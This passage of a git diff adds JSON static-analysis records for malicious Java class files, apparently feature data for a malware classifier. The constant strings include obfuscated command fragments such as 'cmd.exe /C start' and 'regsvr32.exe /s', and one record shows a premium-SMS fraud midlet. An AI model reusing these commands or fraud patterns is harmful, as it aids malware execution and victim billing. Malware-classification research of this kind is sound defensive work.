"jVFRaNHUvVFRaVFR.NHUsNHUeVFRcVFRuVFRrNHUiVFRtVFRyNHU.NHUCVFRoVFRdNHUeNHUSNHUoVFRuNHUrNHUcNHUeVFR", "jVFRaVFRvNHUaVFR.NHUnNHUeNHUtVFR.VFRUVFRRNHULVFR", "jVFRaNHUvVFRaVFR.VFRlNHUaNHUnNHUgVFR.VFRrNHUeNHUfNHUlNHUeVFRcNHUtVFR.VFRANHUrVFRrNHUaNHUyVFR", "jVFRaNHUvVFRaVFR.VFRsNHUeNHUcVFRuVFRrVFRiVFRtVFRyVFR.NHUcVFReVFRrVFRtNHU.NHUCVFReVFRrNHUtVFRiNHUfVFRiNHUcVFRaNHUtNHUeNHU", "[VFRLVFRjNHUaNHUvNHUaNHU.VFRsVFReNHUcVFRuVFRrNHUiNHUtVFRyNHU.VFRcVFReVFRrNHUtVFR.NHUCNHUeNHUrNHUtNHUiNHUfNHUiNHUcVFRaNHUtVFReNHU;NHU", "jNHUaNHUvVFRaVFR.VFRsVFReVFRcVFRuNHUrVFRiVFRtNHUyVFR.VFRPVFReNHUrNHUmNHUiNHUsVFRsVFRiVFRoNHUnVFR", "jVFRaVFRvNHUaVFR.NHUsVFReNHUcNHUuNHUrNHUiVFRtVFRyVFR.VFRANHUlVFRlNHUPVFReNHUrVFRmNHUiNHUsVFRsVFRiNHUoVFRnNHU", "jNHUaVFRvNHUaVFR.NHUsVFReVFRcVFRuVFRrVFRiNHUtNHUyVFR.NHUPVFReNHUrNHUmVFRiNHUsNHUsVFRiNHUoVFRnVFRCNHUoVFRlVFRlNHUeVFRcNHUtNHUiNHUoNHUnVFR", "jVFRaNHUvVFRaNHU.NHUsVFReNHUcNHUuVFRrVFRiNHUtNHUyVFR.VFRANHUcVFRcNHUeNHUsNHUsNHUCNHUoVFRnVFRtNHUrVFRoNHUlNHUCVFRoNHUnNHUtVFReVFRxVFRtVFR", "[NHULNHUjVFRaNHUvVFRaVFR.VFRsVFReNHUcVFRuNHUrVFRiNHUtVFRyNHU.VFRPNHUrVFRoNHUtVFReNHUcVFRtVFRiNHUoVFRnVFRDVFRoVFRmVFRaVFRiNHUnVFR;VFR", "sVFReVFRtVFRSNHUeVFRcNHUuVFRrVFRiVFRtVFRyNHUMVFRaNHUnVFRaVFRgVFReNHUrNHU", "fVFRiVFRlVFReVFR:NHU/NHU/NHU/VFR", "aVFRdVFRdNHU", "gNHUeVFRtVFRTNHUaNHUrNHUgVFReVFRtNHU", "sNHUeVFRtNHU"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "71ab4ceb83415dc3a10fcd7ab748a6dc0fb9b121", "file_name": "java_malicious/69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb", "_id": "b20fbe88-df67-4683-8680-ddc258428aa2", "score": 0, "entropy": 5.853808888249995, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5015, "ssdeep": "96:evzFlKHnn7y2y2moR1xGd5cBEY7u+j01bAtTXKEf7Sr6A0:evJlSnn7WCt7ZjSAEwSG", "sha256": "69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb", "md5": "355f15238c65b034fab07d6ad9994786", "parent_sha256": "69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834.results b/java_classification/data/malicious/6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834.results
new file mode 100755
index 0000000..c4f9487
--- /dev/null
+++ b/java_classification/data/malicious/6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "MidletIBO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["<init>", "doExit", "startApp", "pauseApp", "destroyApp", "a", "a", "a", "exit", "sendSms", "a", "b", "a", "c", "d", "b", "c", "a", "a"], "minor_version": 0, "const_pool_count": 298}}, "_id": "c04b0e63-ff9f-44dd-bbab-8bf3008c5b1d", "verbose": {"java": {"constant strings": ["", " ", " __", "-- :", "-- : ", "/data/", "18273842", "ANKHXNUD", "App", "B\\xe1\\xba\\xa1n kh\\xc3\\xb4ng th\\xe1\\xbb\\x83 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd 2 l\\xe1\\xba\\xa7n trong m\\xe1\\xbb\\x99t l\\xe1\\xba\\xa7n m\\xe1\\xbb\\x9f \\xe1\\xbb\\xa9ng d\\xe1\\xbb\\xa5ng! Vui l\\xc3\\xb2ng tho\\xc3\\xa1t \\xe1\\xbb\\xa9ng d\\xe1\\xbb\\xa5ng v\\xc3\\xa0 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd l\\xe1\\xba\\xa1i!", "COUND SEND SMS : ", "Info", "ClipVui", "RMS : ", "UTF-8", "XN JAVA", "id", "nangabc", "ok", "showAlert", "sms://", "text", "totalsms", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd nh\\xe1\\xba\\xadn Link truy c\\xe1\\xba\\xadp Kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u T\\xe1\\xba\\xa3i mi\\xe1\\xbb\\x85n ph\\xc3\\xad Clip Vui. Link truy c\\xe1\\xba\\xadp Kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u s\\xe1\\xba\\xbd \\xc4\\x91\\xc6\\xb0\\xe1\\xbb\\xa3c g\\xe1\\xbb\\xadi \\xc4\\x91\\xe1\\xba\\xbfn \\xc4\\x91i\\xe1\\xbb\\x87n tho\\xe1\\xba\\xa1i c\\xe1\\xbb\\xa7a b\\xe1\\xba\\xa1n sau khi \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 \\xc4\\x91\\xe1\\xbb\\x93ng/SMS/Link.", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd xem Clip Vui Tuy\\xe1\\xbb\\x83n ch\\xe1\\xbb\\x8dn. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 VN\\xc4\\x90/SMS/l\\xe1\\xba\\xa7n."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c9f40b56986bf3f7a3f3d987556034a6c8b623d9", "file_name": "java_malicious/6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834", "_id": "c04b0e63-ff9f-44dd-bbab-8bf3008c5b1d", "score": 0, "entropy": 5.926161013430394, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 6202, "ssdeep": "96:JEUqZBC4OkYfJ+BKN830INIevnOZU/KwDwvKJa8KDSnp0dl6wrpFM9NAqyLDk8h:kqbkYEc9INDvOZU/KwsS9KDSnp2TrU65", "sha256": "6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834", "md5": "2507aa2023cf5c2a7b96453933935761", "parent_sha256": "6aa5ede5059c26f55cd0c0bac811c942cbe6be507b06ecbfd057988ae90d3834"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf.results b/java_classification/data/malicious/6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf.results
new file mode 100755
index 0000000..6c18e45
--- /dev/null
+++ b/java_classification/data/malicious/6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "enudwwlhl/qtneacwpwa", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["jauydwdpq", "B", "<init>", "wmqcyvca", "rctbc", "vdnlkucqvukehsvwq"], "minor_version": 0, "const_pool_count": 298}}, "_id": "f44710d0-255f-4265-b047-3fd652ab2459", "verbose": {"java": {"constant strings": ["G\\x05B\\x02\\x1a\\x10", "\\x01\\x01\\x0e\\x15C\\x07FWB\\x14\\x18\\x14\\x05\\x16\\x12R\\x12P\\x04Q\\x05\\x08", "Q\\x03\\x0c\\x06P\\x10\\x13G\\n\\x13\\x10\\x1a\\x11\\x16WG\\x12", "\\rV\\x05\\x06", "\\x1e\\x14\\x15T\\x01S\\x15TB\\x15D\\x08LV\\x1c\\x19\\xc0\\x80U\\x02S\\x1a\\x14\\x1c\\x07\\x1f\\x14B\\x12", "\\x04\\x17\\x16\\x19\\x02\\x02\\x14", "\\x13\\x13B\\x06\\x15Q\\x16\\x0e\\x1c\\x16\\x05Q\\x01Q\\x03\\x13\\xc0\\x80\\x19", "GW\\x15\\x14\\x13Q\\x18QC\\nF\\n\\x18\\x02F\\x0c\\x11\\x02", "\\r\\x1c\\x16G\\x12\\x13\\x02\\x1c\\r\\x16\\x0c\\x07\\x0cE\\x07L\\x13BTB\\x07\\x0eP\\x15\\x19\\x05\\x04", "T\\rRET\\x18P\\x10\\x03\\xc0\\x80\\x12\\x19P\\x04\\x0e@\\x14\\x05X\\x04\\x1a\\x02\\x15\\x04\\x10", "\\x04T\\x1fR\\x11S\\x06\\x02\\x1e\\x15\\x1e\\x0eB\\x1aB\\x10", "XCVCU", "S\\x02\\x1a\\x1ePLXDSFP\\x11\\x01\\x16\\x0cBS", "\\x15\\x06\\x0e\\x0e\\x1c\\x19\\x01\\x06D\\x14B\\x0b", "XGPBX", "@PDVFV", "VG\\x03A\\x16\\x16\\x0c\\x18\\x16\\x1f\\r\\x16\\x06@X\\x07S\\x1c\\x05\\x1e\\x12\\x16\\x06E\\x08", "\\x01\\x11\\x18WC\\x16", "D\\x05\\x1cP\\x0eX\\x02\\x12E\\x17\\x1aW\\x1aR", "\\x07\\x17DQ\\x11\\x19\\x10X\\x1eQ\\x03X", "\\x19\\x17F\\x03\\x11WD\\x02\\x0e\\x19", "\\x1e\\x10\\rXA\\x07\\x11\\x0b", "\\x01R\\x04\\x05\\x02\\x17\\x13\\x13\\x11\\x06", "GV@YDV", "B\\x16\\x17\\x05F\\x14\\x1fT\\x19\\x0e\\x04\\x0b", "X\\x1cX\\x03\\x01\\x0e\\x19\\x16X\\x02\\x0b\\rSF\\x01\\x12\\x14\\x19V\\x13\\x0c", "E\\x07\\x1a\\x08\\x13\\r\\x10\\r", "\\x03\\x19\\x0c\\x17\\x10\\x19\\x07CX\\x06\\x16\\r\\x05", "@\\x10\\x07\\x0eGW", "\\xc0\\x80\\x0c\\x16\\x13\\x18U\\x01\\x08\\x06\\x07\\x1e\\x0e\\x18UF\\x13\\x0e\\x08\\x06\\x07\\x17\\r@SD\\x12\\x1fX\\x06S", "Q\\x17\\x02\\x10\\x14\\x1fUF\\x03\\x18\\x03AUC\\x15\\x19\\x17\\x17\\x15", "\\x16\\r\\x05\\x16\\x01QE\\x0b\\x1a\\x08\\x16P\\x07\\x12\\x1e\\x10", "\\x15BR\\x11\\x14\\x05QGU\\x05\\x05\\x04\\x01DUE\\x0bD\\x16\\x18T\\x01\\rL\\n", "XASAV", "C\\x05\\x19S", "\\x04\\x15\\x1aQC\\x17\\x03\\x13\\x10\\x15C\\x10\\x10\\x02", "GSAQDW", "\\xc0\\x80\\r\\x11\\x0b\\x1cV\\x12TLTF\\x0e\\x18\\x07\\x07\\x02", "\\x16U\\x16\\x0bA\\x01\\x15\\x02@TL\\x04", "\\x15U\\x19\\x17\\x1f\\x0e\\x07\\x0eA\\x17\\x04\\x14\\xc0\\x80\\x0e\\x03\\x04\\x13VCR", "\\x0c\\x04\\x17\\x1c\\x01\\x1c\\x0b\\x05QF\\x0c\\x19U\\x02\\x07\\x1f\\x0e\\x12\\x0b\\x01\\x13\\x0e\\x11\\x1c\\x16", "\\x07\\x1aR\\x01P\\x11\\x13\\x11\\x11\\x1aQ\\x01\\x0c\\x13\\x19\\x05\\x15D\\x03", "\\x1e\\x03EV", "\\x12\\n\\x18\\x14\\x19R\\x15\\x1a\\x1e\\x07\\x13P\\x18\\r\\x04\\x12D\\n\\x0eR\\x04\\x14", "BW\\x01P\\r\\x04L\\x06\\x13\\x14", "P\\x13\\x02\\x1aX", "\\x1e\\x1a\\x03\\x12G\\x0b\\x17\\x02BWG\\x04\\x05T\\x12\\x17DSG\\x0b", "\\x03\\x0e\\x04\\x02\\x0cC\\x16BU\\x18\\x01@XG\\x02\\x12\\x0eD\\x13\\x1fT\\x11\\x05\\x15\\x07", "\\r\\x02WB\\x03L\\x17\\x15P\\x13T\\r\\n\\x19P", "FY@P@Q", "\\x0e\\x03FV\\x16\\x03D\\x0c\\x17PE\\x0b\\x18\\x16G\\x17\\x03\\x0e\\x11\\x08\\x19\\x04", "A\\x16@\\x16C\\x11\\x1e\\x15C\\x02@R", "\\x1a\\x11R\\rW\\x12\\x0b\\x0eR\\x02\\x08\\x1fQ\\x02\\x05F\\x0c\\x07\\x0b", "\\x05\\x01\\xc0\\x80\\x12", "\\n\\x15\\n\\x02\\x0b\\x03\\x0e", "BX@QCU", "\\x07C\\x08\\x1c\\x16\\x04\\x0e\\x05\\x08G\\x0eC\\x10\\x0e\\x05\\x18\\x15\\x1f\\x02\\x17X", "\\x04\\x0e\\x1a\\x03R\\x1f\\x04\\x18\\x12\\x12\\x10D\\x12\\x15\\x17\\x04\\x17\\x02\\x17\\x05\\x0e\\x07\\x08\\x16\\x11\\x11\\x19\\x11\\x10", "\\x01\\x16\\x0bL\\x01\\x16W\\x07\\x1a\\x12\\x05\\x0e\\x12\\x0e\\x10A\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "86376a316b02121c1206f74a40e54ee12c68b331", "file_name": "java_malicious/6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf", "_id": "f44710d0-255f-4265-b047-3fd652ab2459", "score": 0, "entropy": 5.877782427168912, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 8395, "ssdeep": "192:GFMx3gI4Glc9HujRNbgLdeO5dicH8U3HZmShfGQYpipcOm5:GFyZ7b+ocH7JmkGQoiLm5", "sha256": "6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf", "md5": "3a4ccfe96a4c0ab4e5785bff38a07c64", "parent_sha256": "6aa677e6632d90311cb4e9238b832a763ae986eb4fadfcd31079df80f88d11bf"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca.results b/java_classification/data/malicious/6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca.results
new file mode 100755
index 0000000..d1d55a8
--- /dev/null
+++ b/java_classification/data/malicious/6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "gape.java", "class_name": "hugeVoleAlign/gape", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "main", "CzM", "ctC", "eDE", "yLQVG", "GfUhSnUB", "UpSj", "XgNCfgRC", "wpmzo", "qLgZyn", "MxCvk", "lOr", "rEtmTkJS", "yfQpyP", "fonMm", "vYVmP", "KLwNSH", "fIFKnw", "qvAd", "zApSjY", "dqP", "diPIxi", "EZWXQRi", "IFiDkZO", "URmT", "hqfUlar", "lKzgB", "ohang", "KDE", "RubglWTw", "GLg", "ohaHkdSb"], "minor_version": 0, "const_pool_count": 518}}, "_id": "301a5ec5-ed86-4f11-b4be-3d7ace343471", "verbose": {"java": {"signatures": ["(Ljava/util/Map<Ljava/lang/String;Ljava/lang/String;>;)[Ljava/lang/String;"], "constant strings": ["S", "\\x08\\xc0\\x80\\x02\\x15K\\x1e\\x03\\x0f\\x13Z7\\x07\\x0c\\x15\\x1d\\x19\\xc0\\x80", "\\x05\\x04\\xc0\\x80&\\x10\\x1c\\x16\\x08\\x19\\x11", "\\x07\\x19\\x11\\x17", "Y", "_", "\\x08\\xc0\\x80\\x02\\x15K\\x1c\\x07\\x15Z!7>", "\\r\\x11\\x11\\x1a&\\x1d\\x0c\\x0f\\x11\\x17\\x11\\x1b\\r\\x0f", "\\x08\\xc0\\x80\\x02\\x15K\\x1c\\x07\\x15Z<\\x11\\x06\\x124&8&\\x1d\\x0c\\x0f\\x11\\x17\\x11\\x1b\\r\\x0f", "\\x11\\x04\\xc0\\x80&\\xc0\\x80\\x03\\x17\\x04\\x07\\xc0\\x80(\\x17\\x16\\t\\x1b\\x10", "%$ ", "\\x01\\x0e\\x1a\\x1a\\xc0\\x80\\x11\\x16", "gins ", "\\x03\\r\\x13", "\\x08\\x10\\x07", "\\x11\\x11\\x1b\\x1b\\t\\x01\\x14", "\\x11\\n\\r\\x04\\xc0\\x80", "\\x0b\\x02\\x05", "\\x0f\\x12\\xc0\\x80\\x07\\x06", "\\x16\\x04\\x15\\x19\\x13\\x1b\\x07\\x16\\x11\\x06", "\\x0c\\x0e\\xc0\\x80\\x11\\x15\\x13\\x06", "\\x01\\x0e\\x1a\\x1c\\n\\x01\\x16", "\\x15\\x08\\x1a\\x18\\n\\x15\\r\\x0f", "\\x01\\x12\\x06\\x07\\x16", "\\x10\\x14\\x1a\\x10\\t\\x1eQS", "\\x08\\xc0\\x80\\x02\\x15", "\\x08\\x14\\x17\\x1c\\xc0\\x80\\x11\\t", "\\x04\\r\\x15\\x07\\r\\x02\\x0e\\xc0\\x80\\r\\x11\\x17", "\\x05\\x0e\\x1b\\x13\\t\\x17\\x17\\x11\\x10\\x15\\x11\\x17", "\\x15\\x08\\x1a\\x10\\n\\x05\\x11\\x14\\x04\\x10\\x04\\x06\\x07", "\\x03\\x02\\x06\\x1b\\x07\\x13\\x16", "\\x03\\x02\\x06\\x1b\\x07\\x13\\x16\\x13\\x11\\x15\\x01\\x17\\x10", "\\x01\\x15\\x12\\x19\\n\\x1c", "\\x14\\r\\x17\\x04\\t\\x13\\x1b\\x04\\x06", "\\x04\\x08\\x06\\x11\\x03\\x1d\\x1a", "\\x01\\t\\x06\\x1b\\x08\\x17", "\\x0b\\x04\\x0c\\x04\\t\\x1d\\x10\\x04", "\\x0f\\x12\\x17\\x1b\\x0b\\x14\\x0b\\x06", "\\r\\x11\\x11\\x06\\x04", "\\x08\\xc0\\x80\\x02\\x15K\\x1e\\x03\\x0f\\x13Z6\\x0b\\x11\\x15\\x11\\x19", "\\x05\\x04\\xc0\\x80$\\x17\\x1d\\x12\\x04\\x06\\xc0\\x80\\x1c", "\\x08\\xc0\\x80\\x02\\x15K\\x1b\\rO\\xc0\\x80\\x19\\x15\\x16\\x0b\\x13", "\\n\\x15\\xc0\\x80\\x04_]M", "\\n\\x15\\xc0\\x80\\x04\\x16HMN", "/", ".", "dll", "exe", "\\x11\\x04\\xc0\\x80$\\x17\\x1d\\x12\\x04\\x06\\xc0\\x80\\x1c", "\\x08\\xc0\\x80\\x02\\x15K\\x1c\\x07\\x15Z\\x01\\x16\\x171\\x18\\x07\\xc0\\x80\\xc0\\x80\\x1f2\\x13\\x1b\\x0c\\x0c\\x17\\x11", "\\x16\\x13\\x01\\x11", "\\x08\\xc0\\x80\\x02\\x15K\\x1b\\rO2\\x1d\\t\\x17", "\\x08\\xc0\\x80\\x02\\x15K\\x1b\\rO2\\x1d\\t\\x17-\\x14\\xc0\\x80\\x04\\x10\\x061\\x15\\x06\\x11\\x04\\x1f", "entraps bals", "justly gamble", "nu gambled holm", "icky hypo els", "\\x01\\r\\x1b\\x07\\xc0\\x80", "", "\\x08\\xc0\\x80\\x02\\x15K\\x1b\\rO=\\x1a\\x15\\x07\\x162\\xc0\\x80\\x06\\xc0\\x80\\x13\\x0f", "\\x01\\x0c\\x10TJ\\x11B\\x12\\xc0\\x80\\x15\\x17\\x06B", "B\\x13\\x11\\x13\\x16\\x04\\x10RFTH\\x01B", "deb.", "\"", "yQF;A:X=WV.POLpM&Ed9S2/ZqBRfJHah56uG8mvD4_C-YrlsN1ckxotwb073gnieUK#?zI%Tj", "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#;", "dueling trismi", "ligulae pogy talar", "batter", "java.lang.String", "charAt", "equals", "substring", "toLowerCase", "length", "java.lang.StringBuffer", "append", "toString", "\\x08\\xc0\\x80\\x02\\x15K\\x1e\\x03\\x0f\\x13Z&\\x1a\\x03\\x13\\x15\\x17\\x11\\x17\\x10", "\\x06\\x08\\x13\\x1d\\x11", "!\\t\\x15\\x06", "\\x0b\\x0f\\xc0\\x80", "abba roue mig", "\\x0b\\x0f\\xc0\\x80\\x11\\x02\\x17\\x10", "\\xc0\\x80\\x18\\xc0\\x80\\x11>/", "\\x11\\x15\\x06\\x1d\\x0b\\x15", "\\x01\\t\\x15\\x06", "\\x0e\\x0e\\x1a\\x13", "\\r\\x03\\x1e\\x11\\x06\\x06", "\\r\\x03\\x1e\\x11\\x06\\x069<"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ebe02b9c99508f618302cbda2423d61deb05c11b", "file_name": "java_malicious/6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca", "_id": "301a5ec5-ed86-4f11-b4be-3d7ace343471", "score": 0, "entropy": 6.016064122029418, "libmagic": "compiled Java class data, version 51.0", "file_size": 10564, "ssdeep": "192:vNlnOBIi26Au03vtvmutQk3WtZNHfmRP/D1qnU76fVqyl1B+ouv:vN9OBif1mmAZNHfmTEU7sVqw3vk", "sha256": "6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca", "md5": "63170aa4539572b801995de96ff2cd8f", "parent_sha256": "6b109b67da076264bdd6eca9f8d793a3c036a1cf2341a981f5763e174d8fadca"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026.results b/java_classification/data/malicious/6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026.results
new file mode 100755
index 0000000..26c8eb5
--- /dev/null
+++ b/java_classification/data/malicious/6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "zdfs55.java", "class_name": "zdfs55", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "freg_drwWR_REW", "fdsfv_ADsvf_SFbe"], "minor_version": 0, "const_pool_count": 173}}, "_id": "824e57be-0894-465c-8eda-9e3e2d5cfdde", "verbose": {"java": {"constant strings": ["U%++%R%++%R%++%R@++@R@++@R%++%R%++%R%++%L%++%", "F@++@i%++%R@++@R@++@R%++%R@++@R%++%R@++@l%++%e%++%O%++%u%++%t@++@p@++@R%++%R@++@R@++@R%++%R@++@R@++@u@++@t@++@S%++%t@++@r@++@R@++@R@++@R@++@R@++@R%++%R%++%e%++%a%++%m@++@", "I%++%R%++%R@++@R@++@R@++@R@++@R@++@n@++@p@++@R@++@R%++%R@++@R@++@R@++@R%++%u@++@t%++%S@++@R@++@R@++@R@++@R@++@R@++@R%++%t@++@r@++@R@++@R%++%R%++%R%++%R%++%R@++@e%++%a%++%m@++@", "S%++%t%++%r%++%R@++@R@++@R@++@R@++@R@++@R%++%i@++@n%++%g@++@", "S@++@R%++%R@++@R%++%R%++%R%++%R@++@y%++%s%++%t@++@e@++@m@++@", "t%++%m%++%R%++%R%++%R%++%R%++%R%++%R%++%p@++@d@++@i%++%R%++%R%++%R@++@R%++%R%++%R%++%r%++%", "", "[@++@B%++%", "j%++%a%++%R%++%R@++@R%++%R@++@R@++@R@++@v@++@a@++@.%++%n%++%R@++@R@++@R@++@R%++%R@++@R%++%e@++@t%++%.%++%", "j@++@a@++@R@++@R%++%R@++@R%++%R%++%R%++%v%++%a@++@.%++%i%++%R%++%R@++@R%++%R%++%R%++%R%++%o@++@.%++%", "sghdrttewr /.wr egreth/53q4tr,3 ewrgetmrhm.ger,/erw egr,etr/mhtg,?E?R EGR<ethrmyw,m/tweR> Erg,etmryhtger,we/ rEFGre,thrm.g,rmwe/. frge/thr,hwrmeg.we gret,hgr.E f.g,f/eg.r/myht", "j@++@R%++%R@++@R@++@R@++@R%++%R@++@a%++%v@++@a@++@.%++%l@++@a@++@R%++%R@++@R%++%R%++%R%++%R@++@n%++%g%++%.%++%", "j@++@a@++@R%++%R%++%R%++%R%++%R@++@R%++%v%++%a@++@.%++%l%++%a%++%R%++%R%++%R@++@R%++%R@++@R%++%n@++@g@++@.@++@", "e%++%R%++%R%++%R%++%R%++%R%++%R%++%x@++@e%++%", "d%++%R%++%R@++@R%++%R@++@R%++%R@++@l@++@R%++%R%++%R@++@R%++%R@++@R@++@l@++@", "s%++%v@++@f%++%d@++@_@++@d%++%s@++@", "g%++%e@++@R%++%R%++%R%++%R%++%R%++%R%++%t%++%P@++@r%++%o%++%p@++@R@++@R%++%R%++%R%++%R%++%R%++%e@++@r@++@t@++@y@++@", "S%++%R@++@R%++%R%++%R@++@R%++%R%++%K%++%K%++%K@++@R@++@R@++@R@++@R@++@R%++%R%++%K%++%K@++@K@++@K%++%.%++%", "o@++@R@++@R@++@R%++%R@++@R%++%R%++%p%++%e@++@n@++@C@++@o%++%R%++%R%++%R%++%R@++@R%++%R%++%n%++%n%++%e%++%c@++@R@++@R@++@R@++@R@++@R@++@R%++%t%++%i@++@o%++%n%++%", "o@++@p%++%e%++%n%++%S@++@t@++@r@++@e@++@a%++%m%++%", "c@++@l%++%R%++%R@++@R@++@R%++%R@++@R%++%o%++%s@++@e%++%", "c@++@l%++%o%++%R@++@R%++%R%++%R@++@R%++%R@++@s%++%e@++@", "c@++@m%++%R@++@R%++%R@++@R@++@R%++%R%++%d%++%.%++%R%++%R%++%R@++@R@++@R@++@R@++@e@++@x%++%e@++@R@++@R@++@R@++@R@++@R@++@R@++@ @++@/@++@R@++@R%++%R%++%R%++%R%++%R@++@C@++@ @++@s%++%R@++@R%++%R@++@R@++@R@++@R%++%t%++%a@++@r@++@R@++@R%++%R%++%R%++%R%++%R@++@t%++% @++@", "r@++@R%++%R%++%R%++%R@++@R@++@R@++@e%++%g%++%s@++@v@++@R@++@R@++@R@++@R%++%R%++%R%++%r@++@3@++@R%++%R%++%R@++@R@++@R%++%R@++@2%++%.%++%e%++%x%++%R%++%R%++%R%++%R@++@R%++%R%++%e@++@ @++@/%++%R@++@R@++@R@++@R%++%R@++@R@++@s%++% @++@"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6a7555ec9257147b03110a9bf4808180d1abd693", "file_name": "java_malicious/6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026", "_id": "824e57be-0894-465c-8eda-9e3e2d5cfdde", "score": 0, "entropy": 5.398744762962272, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5565, "ssdeep": "96:bBw/FlHUd1C/VRp1PpEn1yAQ191zSYypy1khj1y1Rh0G0RXh0DB11OvN21Gha/aQ:utlHUd1C/VRp1PpEn1yAQ191zSYypy1P", "sha256": "6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026", "md5": "b1d62e9ba560a86650da40edb2bdf0e0", "parent_sha256": "6b53f496cc7ebea3ea61dc2a9ab3db4f91ea99ce73244cf3fd2127b995ae6026"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd.results b/java_classification/data/malicious/6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd.results
new file mode 100755
index 0000000..0f60da5
--- /dev/null
+++ b/java_classification/data/malicious/6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/ucwht", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "hppdedkcfnmuruqpysj", "eulhcbbefkrtfmv", "<clinit>"], "minor_version": 0, "const_pool_count": 225}}, "_id": "d991bad8-ed36-4c15-a0cb-ae04cac818c2", "verbose": {"java": {"constant strings": ["418171", "rs7g1t3u", "6da8", "jmsuhm", "77b6c0f32fd250538d52", "lsbtbnh", "63b691f063", "dskxewykrmahjeo", "76af88e167", "wjjoasj", "4eba8eea36c5", "pj", "7fa192e463d2", "xdhletidbvc", "78bfd2d80ce7", "popdvc", "468589e62ade516fb9720085da2df25cac", "pmontwiv", "67b491b004c00b7cac6d1c", "obiwom", "60a695fa7b", "ncmvhpwrricsyk", "72a497e76fd10a60bf78068cd36fdb0bb446", "uamoijyifv", "7db086eb2fc101", "ygykhgdyoiu", "6da79fe264de196b", "jbe", "61a68ef1278b3b74aa4115", "ypklvmlrjmj", "76a888e22dd8166a", "iamxvyon", "7bb8", "wxysbfgw", "7d", "trkd", "74b692e661cd05", "sshngvvnjmduwkn", "62a087f33bc95451a2", "lqysgxlkkcwqitl", "6bb28beb6acc026ab579028ed277c315bc4190", "lwqc", "6ab98fe332e61d7eab711a", "dijetjdyfdnxmst", "6eae9efe6adc147ea8", "ikdvlggwqpibhy", "6aba8dfe62f41d6bb8670c89dd36eb32a75b861be8560cdf94", "uwundlnsyrecswg", "72a88adf2dde05", "xirdpxgtf", "76a281", "rkhi", "78", "pikbpidgeaibghf", "71a997", "dhxofekxj", 